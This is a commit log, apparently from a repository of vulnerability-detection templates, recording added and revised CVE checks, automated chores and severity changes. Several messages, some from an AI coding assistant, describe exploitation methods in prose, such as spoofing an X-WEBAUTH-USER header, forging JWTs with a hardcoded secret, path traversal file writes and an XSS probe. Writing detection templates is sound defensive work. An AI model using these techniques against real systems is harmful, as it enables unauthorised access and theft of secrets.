2026-08-10 12:14:10 +09:00
Roberto Nunes 6056be9bf4 Update metabase-honeysqli-reset-password.yaml 2026-08-10 12:03:18 +09:00
ghost 4da7f276a9 chore: update EPSS scores 🤖 2026-08-10 02:44:11 +00:00
Roberto Nunes 195bd39e5d Update metabase-honeysqli-reset-password.yaml 2026-08-10 11:29:00 +09:00
Roberto Nunes 21d6965bd2 Clarify description of Metabase SQLi vulnerability
Updated the description to clarify the detection of SQL injection vulnerability.
2026-08-10 11:22:40 +09:00
Roberto Nunes 6e3429d531 http/cves/2026/CVE-2026-57827.yaml 2026-08-10 11:11:36 +09:00
Roberto Nunes 61a4106e19 Cant validate template Required valid account PR:L http/cves/2026/CVE-2026-53629.yaml 2026-08-10 11:11:06 +09:00
Roberto Nunes ec95668878 Duplicate network/cves/2026/CVE-2026-24061.yaml 2026-08-10 11:08:48 +09:00
Roberto Nunes f545b929d5 duplictate http/cves/2026/CVE-2026-44578.yaml 2026-08-10 11:08:00 +09:00
Roberto Nunes ec9b23ceca Update CVE-2026-61808.yaml with new query and matchers 2026-08-10 09:53:04 +09:00
Roberto Nunes ce8c4a3c8e Update CVE-2026-61808.yaml 2026-08-10 09:46:06 +09:00
Aman Rawat 7e1bab8639 Merge branch 'main' into fix/regex-extractor-missing-capture-group 2026-08-09 17:44:40 -07:00
Aman Rawat abca09a285 Update springboot-x-application-context.yaml 2026-08-09 17:43:49 -07:00
Aman Rawat a3d5ea0806 Update oracle-containers-panel.yaml 2026-08-09 17:43:23 -07:00
Aman Rawat 8e1252a295 Merge branch 'main' into fix-CVE-2021-24139 2026-08-09 17:42:11 -07:00
Roberto Nunes f3020d38da Update shiori-panel.yaml 2026-08-10 09:28:32 +09:00
ghost f1af193f36 chore: generate templates checksum 🤖 2026-08-09 18:25:05 +00:00
ghost cd8f13a826 chore: generate new addition list 🤖 2026-08-09 18:23:31 +00:00
ghost 1ad20148c2 chore: sign templates 🤖 2026-08-09 18:22:49 +00:00
Dhiyaneshwaran 1047becc8a Merge pull request #16674 from darses/patch-57
Add cyberstrikeai-panel
2026-08-09 11:22:25 -07:00
Dhiyaneshwaran 15b99eb1d0 Fix duplicate reference entry in cyberstrikeai-panel.yaml 2026-08-09 11:16:57 -07:00
Ritik Chaddha e7bb13b121 fix template 2026-08-09 23:43:51 +05:30
Ritik Chaddha aa78c462c0 Merge branch 'main' into fix/cve-2024-0200-intermediate-matchers 2026-08-09 23:27:52 +05:30
Ritik Chaddha 2b70d02e6d Update CVE-2024-0200.yaml 2026-08-09 23:27:06 +05:30
Ritik Chaddha 19ce3452f0 remove honeypot matcher 2026-08-09 23:23:25 +05:30
Ritik Chaddha e66c186763 Update CVE-2025-14847.yaml 2026-08-09 23:11:25 +05:30
Ritik Chaddha 6c61bd6262 keeping both matchers 2026-08-09 23:11:00 +05:30
Ritik Chaddha 047de1f4f9 Merge branch 'main' into fix-CVE-2021-24139 2026-08-09 23:08:31 +05:30
ghost 5d67b21388 chore: generate templates checksum 🤖 2026-08-09 17:38:07 +00:00
Ritik Chaddha a12c34cad8 Merge pull request #16791 from Th3l0newolf/Th3l0newolf-contributors-list
Add Th3l0newolf to contributors list
2026-08-09 23:07:43 +05:30
ghost d01b8f52f3 chore: generate new addition list 🤖 2026-08-09 17:32:09 +00:00
ghost 518b5ca233 chore: generate CVEs metadata 🤖 2026-08-09 17:31:17 +00:00
Aman Rawat 6cd854a653 Merge pull request #16776 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-63077.yaml -JetBrains TeamCity < 2026.1.3, 2025.11.7 - Pre-Auth Deserialization RCE
2026-08-09 10:30:56 -07:00
Boreas37 06821f85c9 Add 5 CVE-2026 templates: inetutils, UniFi OS, Next.js, GLPI, RSFiles 2026-08-09 17:55:00 +03:00
ghost 07249ab6d8 chore: update KEV and vKEV tags and metadata 🤖 2026-08-09 03:33:56 +00:00
ghost 7a490c8837 chore: update EPSS scores 🤖 2026-08-09 02:40:59 +00:00
ST4RK 69c538037b Add CVE-2026-25231 FileRise unauthenticated file read template 2026-08-09 00:46:23 +03:00
ST4RK 31409d4b1a Add CVE-2026-6826 template 2026-08-09 00:11:19 +03:00
ST4RK d95c0860fe Add CVE-2026-50160 template 2026-08-09 00:10:37 +03:00
ST4RK c14d70b9dc Add CVE-2026-45332 - Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure 2026-08-09 00:00:07 +03:00
ST4RK aa2018c8b9 Add CVE-2026-61808 - LightRAG unauthenticated default exposure 2026-08-08 23:11:51 +03:00
ST4RK 305a63efa2 Add CVE-2026-67208 template 2026-08-08 22:43:53 +03:00
MFS dc6f5b38bb Add CVE-2026-17594 - Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch 2026-08-08 21:58:17 +03:00
Ashish Pulivarthy 4bee3c3a7b Add Shiori Bookmarks Manager panel detection template 2026-08-08 23:38:46 +05:30
ST4RK 7fe6b3bc29 Add CVE-2026-55229 template 2026-08-08 17:32:19 +03:00
ST4RK 928eee3aea Add CVE-2026-27796: Homarr < 1.54.0 unauthenticated integration config disclosure 2026-08-08 16:41:38 +03:00
ST4RK 3e718cf944 Add CVE-2026-44177 template 2026-08-08 16:21:47 +03:00
patrick-threatmate 5371069a9c CVE-2026-18577: rate severity critical (KEV, actively exploited, RMM blast radius) 2026-08-08 08:05:46 -04:00
ghost e70dd0abd4 chore: generate templates checksum 🤖 2026-08-08 10:57:26 +00:00
ghost ddbca81f55 chore: generate new addition list 🤖 2026-08-08 10:55:49 +00:00
ghost 73357c7b90 chore: sign templates 🤖 2026-08-08 10:55:03 +00:00
ghost 53a5a701b1 chore: generate CVEs metadata 🤖 2026-08-08 10:54:55 +00:00
Ritik Chaddha a78e427620 Merge pull request #16747 from projectdiscovery/CVE-2025-71324
CVE-2025-71324 -  Flowise - Path Traversal
2026-08-08 17:54:41 +07:00
ghost 25e464f8d2 chore: generate templates checksum 🤖 2026-08-08 10:52:32 +00:00
ghost 20e0ca6ab6 chore: generate new addition list 🤖 2026-08-08 10:50:43 +00:00
ghost 48c1c196ca chore: generate new addition list 🤖 2026-08-08 10:50:38 +00:00
ghost 7cb37c7998 chore: generate CVEs metadata 🤖 2026-08-08 10:50:07 +00:00
ghost 2accfddeb6 chore: sign templates 🤖 2026-08-08 10:49:58 +00:00
Ritik Chaddha b94a4d85ec Merge pull request #16740 from projectdiscovery/CVE-2026-65442
CVE-2026-65442 - FormCraft3 <= 3.9.15 - Unauthenticated Server-Side Request Forgery
2026-08-08 17:49:38 +07:00
Ritik Chaddha 786ac85aea Merge pull request #16690 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-14894.yaml - WordPress Super Forms <= 6.3.313 - Unauthenticated Arbitrary File Upload RCE
2026-08-08 17:49:24 +07:00
ghost 7504f86560 chore: generate templates checksum 🤖 2026-08-08 09:10:08 +00:00
ghost 64fac0a43d chore: generate new addition list 🤖 2026-08-08 09:09:53 +00:00
Ritik Chaddha 207327d314 Update CVE-2025-71324.yaml 2026-08-08 14:39:23 +05:30
ghost 41bd56904f chore: generate CVEs metadata 🤖 2026-08-08 09:09:08 +00:00
ghost aa72163fcc chore: sign templates 🤖 2026-08-08 09:09:03 +00:00
Ritik Chaddha 9d36bc2c0a Merge pull request #16697 from projectdiscovery/Akokonunes-patch-11
Create CVE-2026-13147.yaml - WordPress Kirki < 6.0.12 - Unauthenticated SSRF
2026-08-08 16:08:44 +07:00
Ritik Chaddha 076e679ef8 Update CVE-2026-65442.yaml 2026-08-08 14:38:22 +05:30
ghost de2ab69a7b chore: generate new addition list 🤖 2026-08-08 09:08:22 +00:00
ghost 200dbc7d7c chore: sign templates 🤖 2026-08-08 09:07:38 +00:00
ghost 0fa53b2b1d chore: generate CVEs metadata 🤖 2026-08-08 09:07:32 +00:00
Ritik Chaddha 0ab32c0d5d Merge pull request #16721 from juoum00000/main
Added Template for CVE-2026-48030 (Pheditor command injection)
2026-08-08 16:07:12 +07:00
Ritik Chaddha f8391fd038 Update CVE-2026-14894.yaml 2026-08-08 14:37:08 +05:30
Ritik Chaddha 6793256e12 Update CVE-2026-13147.yaml 2026-08-08 14:32:57 +05:30
Ritik Chaddha 643219ff91 remove extra request 2026-08-08 14:30:47 +05:30
Th3l0newolf [ Chinmay Divekar] b047b44239 Add Net Vision UPS Default Credentials
Added a new YAML file for Net Vision UPS Monitor default login credentials detection.
2026-08-08 01:58:57 -07:00
Th3l0newolf [ Chinmay Divekar] 59f54b47fb Add Th3l0newolf to contributors list
Added new contributor Th3l0newolf with links.
2026-08-08 01:24:14 -07:00
ST4RK 757f78bc15 Create CVE-2026-23536.yaml (Feast Feature Server <=0.58.0 unauth arbitrary file read) 2026-08-08 09:39:23 +03:00
Aman Rawat ecd721485f Update CVE-2026-63077.yaml 2026-08-07 22:12:56 -07:00
ghost 147ec4c5c6 chore: update KEV and vKEV tags and metadata 🤖 2026-08-08 03:32:02 +00:00
ghost c6fee40cb1 chore: update EPSS scores 🤖 2026-08-08 02:37:05 +00:00
hiddingtrojans 0f2ec63fde tighten Server-header matcher/extractor, trim description, drop verified flag 2026-08-08 02:21:27 +02:00
ghost a59bc25d9f chore: generate templates checksum 🤖 2026-08-07 20:04:29 +00:00
github-actions[bot] 38dc5eba47 chore: add impact and remediation fields 🤖 2026-08-07 20:02:32 +00:00
ghost f8239a0f1d chore: sign templates 🤖 2026-08-07 20:01:49 +00:00
Nivid42andPDTeamX 613b56124b Add CVE-2026-64638: WordPress Core < 7.0.3 Preauth XSS (XSS2Shell) (#16785)
* Add CVE-2026-64638: WordPress Core < 7.0.3 Preauth XSS (XSS2Shell)

## PR Information
- **CVE-2026-64638**
- **Vendor/Product**: WordPress Core
- **Severity**: High (CVSS 8.9)
- **Vulnerability**: Preauth Reflected XSS via username HTML injection

### Detection
POST /wp-login.php with URL-encoded payload. Regex matchers verify injected
DOM elements (<area id=ajaxurl>, <div id=color-picker>, <button class=wp-generate-pw>)
survive in the error response.

### Status
Tested and validated against live Targets

### References
- https://pwn.ai/blog/xss2shell
- https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html

* misc updates

---------

Co-authored-by: PDTeamX <[email protected]>
2026-08-08 01:31:20 +05:30
patrick-threatmate ba9627914a Add CVE-2026-18577 (N-able N-central < 2026.3.1.10 auth bypass) 2026-08-07 12:52:10 -04:00
ST4RK 812ba9bfb3 Add CVE-2026-2614: MLflow <= 3.9.0 unauthenticated arbitrary file read 2026-08-07 18:41:16 +03:00
ST4RK 1009f85f40 Merge branch 'main' into str4k3r/cve-2026-26217 2026-08-07 16:58:28 +03:00
Omar Kurt 25aeb91af2 RSFiles! for Joomla - Unauthenticated Arbitrary File Upload RCE ()
Added CVE-2026-57827 for RSFiles! Joomla vulnerability with details on unauthenticated arbitrary file upload leading to RCE.
2026-08-07 15:05:17 +03:00
ST4RK e014b22235 Add CVE-2026-53976 (OpenChamber <1.13.0 unauth arbitrary file read) 2026-08-07 14:06:58 +03:00
Pierre Lalet e40751a0f5 fix(CVE-2021-24139): both conditions must match 2026-08-07 11:14:32 +02:00
Dominique RIGHETTO 1f9fcf4280 Revise Argo CD login panel configuration
Updated author list and enhanced description for clarity. Added new HTTP paths and matchers for improved detection.
2026-08-07 10:26:41 +02:00
ST4RK 28bdb03761 Add CVE-2026-23491: InvoicePlane <= 1.6.3 unauthenticated arbitrary file read 2026-08-07 09:20:24 +03:00
ST4RK 6e2c41da6a Add CVE-2026-65919: Meshery <1.0.57 unauthenticated arbitrary file read 2026-08-07 09:08:33 +03:00
ghost a5032b272e chore: update KEV and vKEV tags and metadata 🤖 2026-08-07 03:59:06 +00:00
ghost 183c7b48f5 chore: update EPSS scores 🤖 2026-08-07 02:59:25 +00:00
ST4RK ffa45b2799 Add CVE-2026-9506: Bagisto <= 2.4.1 unauthenticated ImageCache path traversal / arbitrary file read 2026-08-07 05:45:34 +03:00
Roberto Nunes d5283d652c Update author field for CVE-2026-63077 2026-08-07 11:38:33 +09:00
ghost 4e4d2800dc chore: generate templates checksum 🤖 2026-08-07 02:11:01 +00:00
ghost a7a83cdf22 chore: generate new addition list 🤖 2026-08-07 02:09:13 +00:00
ghost ef82195f5c chore: generate CVEs metadata 🤖 2026-08-07 02:08:29 +00:00
ghost 81a1b22077 chore: sign templates 🤖 2026-08-07 02:08:27 +00:00
Roberto Nunes b6fe5df978 Merge pull request #16725 from Aryu-RU/add-cve-2025-11953
Create CVE-2025-11953.yaml - React Native Community CLI - Unauthenticated OS Command Injection
2026-08-07 11:08:04 +09:00
ghost bdae3c16db chore: generate templates checksum 🤖 2026-08-07 00:48:20 +00:00
ghost d7273dffd5 chore: generate new addition list 🤖 2026-08-07 00:46:51 +00:00
ghost 736018a2c4 chore: sign templates 🤖 2026-08-07 00:46:05 +00:00
ghost be499ec5eb chore: generate CVEs metadata 🤖 2026-08-07 00:46:01 +00:00
Aman Rawat 3ce7bc1e1f Merge pull request #16751 from projectdiscovery/Akokonunes-patch-12
Add CVE-2026-17505.yaml - WordPress TranslatePress < 3.2.6 - Unauthenticathed Reflected XSS
2026-08-06 17:45:43 -07:00
PDTeamX 1a2ff33983 Added template for CVE-2026-8857 2026-08-07 04:59:46 +05:30
ST4RK fa4efbda08 Add CVE-2026-53755 template 2026-08-06 23:44:55 +03:00
ST4RK 676ed1e2ab Add CVE-2026-71209 (Audiobookshelf auth bypass) 2026-08-06 23:42:35 +03:00
ST4RK 4b1b1d55eb Add CVE-2026-41432 template 2026-08-06 23:25:55 +03:00
ST4RK f23f61767a Add CVE-2026-42461 template 2026-08-06 23:11:21 +03:00
Aman Rawat a1f75df1ec Update CVE-2026-17505.yaml 2026-08-06 08:40:08 -07:00
ST4RK 6440734615 Add CVE-2026-53519 template 2026-08-06 10:32:36 +03:00
ghost e69d779196 chore: generate templates checksum 🤖 2026-08-06 06:57:55 +00:00
ghost a1da3be344 chore: generate new addition list 🤖 2026-08-06 06:56:44 +00:00
ghost 2d5b1b2c18 chore: generate CVEs metadata 🤖 2026-08-06 06:55:14 +00:00
ghost 10275a3b58 chore: sign templates 🤖 2026-08-06 06:55:06 +00:00
Dhiyaneshwaran 1c96b87635 Merge pull request #16765 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-48939.yaml - Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
2026-08-05 23:54:44 -07:00
Dhiyaneshwaran 8ce3e4768c Refactor CVE-2025-11953.yaml for clarity
Removed redundant tags and comments for clarity.
2026-08-05 23:50:56 -07:00
Roberto Nunes b0ec2d96ef Create CVE-2026-48939.yaml 2026-08-06 15:50:33 +09:00
ghost 726e4f078d chore: generate templates checksum 🤖 2026-08-06 06:25:39 +00:00
ghost a316f85356 chore: generate new addition list 🤖 2026-08-06 06:23:45 +00:00
ghost c0061a6ce1 chore: sign templates 🤖 2026-08-06 06:22:52 +00:00
ghost a4b6d2ec60 chore: generate CVEs metadata 🤖 2026-08-06 06:22:47 +00:00
Dhiyaneshwaran e40b8e2f76 Merge pull request #16761 from projectdiscovery/Akokonunes-patch-15
Add CVE-2026-53576.yaml - Kestra <= 1.3.20 - Remote Code Execution
2026-08-05 23:22:22 -07:00
ST4RK 18a3a49f9a Add CVE-2026-40280 template 2026-08-06 09:21:01 +03:00
ghost 1beabb4b11 chore: update KEV and vKEV tags and metadata 🤖 2026-08-06 04:03:19 +00:00
Roberto Nunes dbe9b24c9b Update CVE-2026-53576.yaml 2026-08-06 12:28:32 +09:00
Roberto Nunes d0dcdfd11b Add support for HTTP flow with additional version 2026-08-06 12:23:07 +09:00
Roberto Nunes f6221cd021 Update CVE-2026-53576.yaml 2026-08-06 12:13:54 +09:00
Roberto Nunes 351bd43358 Update author field in CVE-2026-53576.yaml 2026-08-06 12:09:26 +09:00
ghost e37a4971f7 chore: update EPSS scores 🤖 2026-08-06 03:00:14 +00:00
Roberto Nunes df5f21e516 Update CVE-2026-17532.yaml 2026-08-06 11:01:37 +09:00
Roberto Nunes ed173f4900 Create CVE-2026-17532.yaml 2026-08-06 10:56:06 +09:00
str4k3r 0c3f846596 Add CVE-2026-26217 template 2026-08-06 02:48:30 +03:00
Bryce Florek f56c94b699 web-config: raise severity info -> low
The template confirms web.config is unauthenticated-GET-able (root XML
tags present, HTTP 200) but does not validate file content -- it cannot
tell whether a real connectionString or secret is present. Existence-only
disclosure of a config file that CAN contain credentials/connection
strings is real recon value (comparable to package-json/ds-store-file),
but content is unconfirmed, so this proposes low rather than a higher
severity pending content validation. Updated the stale cvss-metrics/
cvss-score fields to reflect a nonzero confidentiality impact consistent
with the new severity.
2026-08-05 14:21:11 -07:00
Bryce Florek 5fccf03c21 package-json: raise severity info -> low
Unlike a single technology's version banner, an exposed package.json
discloses the full dependency tree (names + versions of every
dependency), letting an attacker cross-reference the whole list against
CVE databases without needing per-library fingerprinting. CWE-552
("Files or Directories Accessible to External Parties") and OWASP Top
10 2021 A01 (Broken Access Control) apply; Acunetix's analogous
"Composer installed.json publicly accessible" finding treats this class
of dependency-manifest disclosure as a real, named issue:
https://www.acunetix.com/vulnerabilities/web/composer-installed-json-publicly-accessible/
2026-08-05 14:21:11 -07:00
Bryce Florek 26fc2c7700 mixed-active-content: raise severity info -> low
Active content (script/iframe/object) loaded over plain HTTP on an
HTTPS page lets a network attacker intercept and replace it, executing
arbitrary code in the HTTPS page's trusted context -- a real TLS
integrity bypass, not passive/cosmetic. Acunetix independently rates
this exact finding class Medium:
https://www.acunetix.com/vulnerabilities/web/active-mixed-content-over-https/
Proposing low here as the conservative, externally-defensible floor.
2026-08-05 14:21:11 -07:00
Bryce Florek 11999bc715 google-api-key-file: raise severity info -> low
Same regex/credential-exposure logic as google-api-key.yaml, just
detected via crawled file content instead of a live HTTP response.
The detection path doesn't change the underlying risk: a true positive
is a real, likely-unrestricted Google API key.
https://cloud.google.com/docs/authentication/api-keys#securing
2026-08-05 14:21:11 -07:00
Bryce Florek dba5f8bc6c google-api-key: raise severity info -> low
Unlike public-by-design identifiers, a Google API key is a real
credential by default -- restriction (referrer/IP/API scope) is opt-in,
not Google's baseline. Google's own security guidance exists specifically
to warn developers to lock these down:
https://cloud.google.com/docs/authentication/api-keys#securing
A true positive represents a real, likely-unrestricted credential.
2026-08-05 14:21:11 -07:00
Bryce Florek 3876722942 fastly-debug-headers: raise severity info -> low
Fastly-Debug is an opt-in developer debugging feature by Fastly's own
design, not itself a vulnerability -- but a production server answering
it discloses internal cache-path, TTL, and content-digest information
that lowers the bar for cache-poisoning/deception attacks and shouldn't
be reachable outside development. No independent CVE/CWE precedent was
found for this specific finding; this proposal rests on the exposure
enabling a known attack class, not on cited third-party severity data.
2026-08-05 14:21:10 -07:00
Bryce Florek cd58910131 ds-store-file: raise severity info -> low
.DS_Store disclosure is a real, precedented information-exposure class:
NVD CVE-2016-1776 (Apple, CVSS 5.3/Medium) covers .DS_Store/.htaccess
exposure on OS X Server, and CWE-548 ("Exposure of Information Through
Directory Listing") applies directly. The file discloses filenames Finder
has seen in a directory, including deleted/undeployed files, turning
blind enumeration into targeted enumeration. https://nvd.nist.gov/vuln/detail/CVE-2016-1776
2026-08-05 14:21:10 -07:00
Bryce Florek b525eff7ed aspx-debug-mode: raise severity info -> medium
The template confirms ASP.NET's DEBUG-verb listener actually executed a
live debug-control command (exact "OK" response, 2-byte body) rather
than guessing from a banner. PortSwigger's own KB entry for this exact
issue (ASP.NET debugging enabled, CWE-11) rates it Medium by default:
https://portswigger.net/kb/issues/00100800_asp-net-debugging-enabled
2026-08-05 14:21:10 -07:00
Raul Acedo e22ee93afc Add milvus-healthz-detect: fingerprint Milvus server via :9091 healthz
Complements milvus-detect (management-UI titles) by fingerprinting the
Milvus server itself through its HTTP health endpoint's Server header,
with version extraction for downstream CVE mapping.
2026-08-05 18:38:00 +02:00
PalmOla 2739fb1cc8 Implement error checks for SNMP response validity
Add error handling for empty SNMP responses.
2026-08-05 14:38:34 +02:00
Mzack9999 3d3e4ac5fc Merge pull request #16605 from projectdiscovery/dependabot/github_actions/main/actions/setup-python-7
chore(deps): bump actions/setup-python from 6 to 7
2026-08-05 14:08:10 +04:00
ghost 1ff1b2b58c chore: generate templates checksum 🤖 2026-08-05 05:52:43 +00:00
Prince Chaddha e80f5d408f Delete Templates-Bounty-FAQ.md 2026-08-05 11:22:17 +05:30
Andrew Tunnecliffe 30d4390955 fix(wordpress-eol): replace generic version regex with core-versioned asset patterns
The generic 'Version x.y.z' pattern matched any version string in the
response body, producing false positives on non-WordPress targets and
misreporting plugin/theme versions as WordPress core.

Version extraction now uses the generator meta tag plus specific
core-versioned wp-includes assets. Bundled libraries (jquery,
underscore, backbone) are excluded as they carry their own versions.
Matchers additionally require a WordPress fingerprint in the body.
2026-08-05 15:36:50 +10:00
ghost 1021081b8e chore: update KEV and vKEV tags and metadata 🤖 2026-08-05 04:02:42 +00:00
ghost 58107a7cf7 chore: update EPSS scores 🤖 2026-08-05 02:59:55 +00:00
Roberto Nunes 6e51a07384 Revise CVE-2026-69251 details and update queries
Updated CVE-2026-69251 details including name, description, and remediation steps.
2026-08-05 11:34:31 +09:00
ghost d3f34c1197 chore: generate templates checksum 🤖 2026-08-05 01:52:07 +00:00
ghost 0cb89fb686 chore: generate CVEs metadata 🤖 2026-08-05 01:49:36 +00:00
ghost e4a719fcd9 chore: sign templates 🤖 2026-08-05 01:49:34 +00:00
Roberto Nunes 99f4282735 Merge pull request #16745 from daffainfo/patch-679818
Delete http/cves/2024/CVE-2024-28752.yaml
2026-08-05 10:49:14 +09:00
Roberto Nunes 49e303b66d Merge pull request #16739 from munzzyy/fix/nh-c2-redirect-status-or
Fix nh-c2 dsl matcher that can never match
2026-08-05 10:49:08 +09:00
Roberto Nunes 7ea1a1bf46 Update CVE-2026-17505.yaml 2026-08-05 10:37:21 +09:00
Roberto Nunes 7066065eb9 Add CVE-2026-17505 for WordPress TranslatePress XSS
Added CVE-2026-17505 details for WordPress TranslatePress plugin vulnerability, including description, impact, remediation, and HTTP request flow.
2026-08-05 10:30:01 +09:00
MFS 7a36ab6a69 Add CVE-2026-69251 - Flowise - Authenticated RCE via Unsanitized TypeORM DataSource Options 2026-08-04 21:53:15 +03:00
ghost cd0c2f45f0 chore: generate templates checksum 🤖 2026-08-04 16:43:31 +00:00
ghost ff1883d063 chore: generate new addition list 🤖 2026-08-04 16:41:41 +00:00
ghost fa94b08096 chore: generate CVEs metadata 🤖 2026-08-04 16:41:03 +00:00
ghost db4673a172 chore: sign templates 🤖 2026-08-04 16:40:54 +00:00
Dhiyaneshwaran 4db459dfdf Merge pull request #16744 from projectdiscovery/Akokonunes-patch-14
Create CVE-2024-55890.yaml - D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
2026-08-04 09:40:27 -07:00
Aman Rawat 76965e41ee Create CVE-2025-71324.yaml 2026-08-04 08:24:42 -07:00
ghost 54195a5b3d chore: generate templates checksum 🤖 2026-08-04 15:08:54 +00:00
ghost b9e3b3221d chore: generate new addition list 🤖 2026-08-04 15:06:37 +00:00
ghost 984ae7248e chore: sign templates 🤖 2026-08-04 15:05:48 +00:00
ghost 0af6b7ae47 chore: generate CVEs metadata 🤖 2026-08-04 15:05:41 +00:00
Aman Rawat 74ae7b8562 Merge pull request #16743 from projectdiscovery/Akokonunes-patch-12
Create CVE-2024-37014.yaml - Langflow <= 1.0.12 - Pre-Auth RCE
2026-08-04 08:05:25 -07:00
ghost 1477f2df20 chore: generate new addition list 🤖 2026-08-04 14:53:01 +00:00
Aman Rawat 5737d83a7b Update CVE-2024-37014.yaml 2026-08-04 07:52:27 -07:00
ghost bcf618088e chore: generate CVEs metadata 🤖 2026-08-04 14:52:19 +00:00
Aman Rawat 66d045e0d3 Merge pull request #16742 from projectdiscovery/Akokonunes-patch-10
Add CVE-2025-20282.yaml - Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
2026-08-04 07:51:54 -07:00
Aryu-RU ad2a9420f2 Add CVE-2026-53753 Crawl4AI remote code execution
Detects the AST sandbox escape in the computed field expression evaluator
reachable from the unauthenticated /crawl endpoint. The probe runs echo with
a shell arithmetic expansion so the marker in the response can only have been
produced by command execution on the target.
2026-08-04 13:27:12 +00:00
Muhammad Daffa 7a1dc559d7 Delete http/cves/2024/CVE-2024-28752.yaml 2026-08-04 20:10:36 +07:00
diedromeo 40142d2e67 Merge branch 'main' into fix/cve-2025-14847-mongodb-8x-detection 2026-08-04 16:24:23 +05:30
ghost 9419e84b01 chore: update KEV and vKEV tags and metadata 🤖 2026-08-04 04:03:38 +00:00
Roberto Nunes 2e52642332 Update CVE-2024-55890.yaml for new HTTP flow and matchers 2026-08-04 12:51:49 +09:00
Roberto Nunes c570459140 Create CVE-2024-55890.yaml 2026-08-04 12:44:04 +09:00
ghost c8a66e4bc3 chore: update EPSS scores 🤖 2026-08-04 03:00:06 +00:00
Roberto Nunes adc8c60ac8 Create CVE-2024-37014.yaml 2026-08-04 10:45:44 +09:00
Roberto Nunes b66c7fcbc1 Add CVE-2025-20282 for Cisco ISE vulnerability
Added CVE-2025-20282 for Cisco ISE unauthenticated file upload vulnerability with details on impact, remediation, and references.
2026-08-04 10:24:12 +09:00
juoum00000 8f56e0d025 Merge branch 'main' into main 2026-08-03 22:13:42 +01:00
diedromeo 8ba7811e3d Fix CVE-2025-14847: detect vulnerable MongoDB 8.0.x
Confirm buildinfo via gitVersion (early in the reply) instead of maxBsonObjectSize, which sits at byte ~6272 in the ~6.3KB 8.0.x buildinfo response and falls outside read-size 2048.
2026-08-04 01:02:56 +05:30
Dhiyaneshwaran 5991c5b9d1 CVE-2026-65442 - FormCraft3 <= 3.9.15 - Unauthenticated Server-Side Request Forgery 2026-08-03 11:20:43 -07:00
ghost 4b1bb38c4a chore: generate templates checksum 🤖 2026-08-03 17:44:27 +00:00
ghost 1ef5470082 chore: generate new addition list 🤖 2026-08-03 17:42:28 +00:00
ghost 7e1b374382 chore: generate CVEs metadata 🤖 2026-08-03 17:41:42 +00:00
ghost 6fb8ac6ef5 chore: sign templates 🤖 2026-08-03 17:41:38 +00:00
Aman Rawat a9001a94ec Merge pull request #16729 from daffainfo/patch-505178
Rename cve-2026-44338.yaml to CVE-2026-44338.yaml
2026-08-03 23:08:52 +05:30
Aman Rawat 76bddbe7f2 Update CVE-2026-44338.yaml 2026-08-03 10:34:23 -07:00
Aryu-RU 90b942b43b Add CVE-2026-13001 Podlove Podcast Publisher arbitrary file upload 2026-08-03 13:28:14 +00:00
Claude 1a6bf69517 Add template for CVE-2026-5032 (W3 Total Cache token disclosure)
W3 Total Cache <= 2.9.3 bypasses its output buffering pipeline for any
request whose User-Agent header contains "W3 Total Cache", without
authenticating the caller. On sites with fragment caching enabled and
existing dynamic fragment tags, this leaks the raw mfunc/mclude
comments including the per-site W3TC_DYNAMIC_SECURITY token.
Detection confirms the plugin version via readme.txt, then confirms
the token leaks in the homepage response when the User-Agent bypass
is used.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 09:23:43 +00:00
Claude ca56b272a3 Add template for CVE-2026-20896 (Gitea Docker auth bypass)
The official Gitea Docker image <= 1.26.2 ships with
REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, so it trusts the
X-WEBAUTH-USER reverse-proxy header from any source. An unauthenticated
attacker can impersonate any user, including admins, by sending that
header. Template confirms baseline 401 on /api/v1/user, then confirms
the spoofed identity is honored (200, login/is_admin reflect the
injected header).

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 07:44:19 +00:00
Claude 7468b83031 Add template for CVE-2026-25895 (FUXA path traversal to file write)
FUXA <= 1.2.9 exposes an unauthenticated POST /api/upload that
concatenates the JSON body's destination field into a filesystem path
without normalization, allowing path traversal out of the app
directory. Template writes a random marker file into the public
client/dist web root and confirms it via an unauthenticated GET,
proving the arbitrary-write primitive without touching cron/SSH/RCE
escalation paths.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 07:38:52 +00:00
ghost e9f0fe7fa4 chore: generate templates stats 🤖 2026-08-03 07:24:12 +00:00
shadowhunter-92 67fd1e1571 Add Claude Code subagent configuration exposure detector
Detects exposed .claude/agents/*.md subagent config files served over
HTTP. Each file defines an AI subagent (name, description, tool
allow-list, system prompt); exposure can leak custom prompts,
internal API endpoints, business logic, tool permissions, and the
project's automation setup. Also detects Apache-style directory
listings on .claude/agents/.

Paths checked (4):
  - /.claude/agents/
  - /.claude/agents/index.md
  - /.claude/agents/README.md
  - /.claude/agents/code-reviewer.md

Matchers (OR of two, gated by 200 status):
  - YAML frontmatter markers between --- delimiters with name +
    description keys (real subagent file)
  - 'Index of /.claude/agents' / 'Directory listing for
    /.claude/agents' / >filename.md< href patterns (dir listing)

Extractors surface agent name, allowed tools list, and .md filenames
from listings so operators see what leaked.

Refs:
  - https://docs.claude.com/en/docs/claude-code/sub-agents
  - https://docs.claude.com/en/docs/claude-code/settings

Complements existing anthropic-api-key.yaml (#16699) and
claude-code-settings-exposure.yaml (#16701).

Signed-off-by: shadowhunter-92 <[email protected]>
2026-08-03 12:07:49 +05:00
Claude 079c8bb59b Add template for CVE-2026-56265 (Crawl4AI hardcoded JWT key)
Crawl4AI Docker API <= 0.8.6 signs/verifies JWTs with a hardcoded
default secret ("mysecret"), letting an unauthenticated attacker forge
a Bearer token accepted by every protected endpoint. Template confirms
the baseline 401 without a token, then forges an HS256 token with the
known secret via generate_jwt() and verifies access to /config/dump.

